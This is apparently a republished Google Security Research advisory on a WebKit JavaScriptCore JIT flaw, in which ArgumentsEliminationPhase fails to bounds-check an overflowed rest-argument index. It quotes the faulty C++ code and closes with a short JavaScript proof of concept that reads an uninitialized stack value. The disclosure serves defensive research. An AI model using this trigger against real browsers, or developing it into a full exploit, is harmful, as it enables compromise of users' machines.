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Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform

🗓️ 29 Aug 2019 00:00:00Reported by Google Security ResearchType 
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Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform - GetByVal operations on stack-allocated arguments without index check leading to uninitialized variable access

Code
https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743

case GetByVal: {
    ...

    unsigned numberOfArgumentsToSkip = 0;
    if (candidate->op() == PhantomCreateRest)
        numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();
    
    Node* result = nullptr;
    if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
        unsigned index = m_graph.varArgChild(node, 1)->asUInt32();                        
        InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
        index += numberOfArgumentsToSkip;
        
        bool safeToGetStack;
        if (inlineCallFrame) {
            safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;

        }
        else {
            safeToGetStack =
                index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;

        }
        if (safeToGetStack) {
            StackAccessData* data;
            VirtualRegister arg = virtualRegisterForArgument(index + 1);
            if (inlineCallFrame)
                arg += inlineCallFrame->stackOffset;

            data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);
            
            Node* check = nullptr;
            if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
                check = insertionSet.insertNode(
                    nodeIndex, SpecNone, CheckInBounds, node->origin,
                    m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
            }
            
            result = insertionSet.insertNode(
                nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
        }
    }

The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.

PoC:
function inlinee(index, value, ...rest) {
    return rest[index | 0];  // GetByVal
}

function opt() {
    return inlinee(-1, 0x1234);  // or inlinee(0xffffffff, 0x1234)
}

inlinee(0, 0);

for (let i = 0; i < 1000000; i++) {
    opt();
}

print(opt());  // 0x1234

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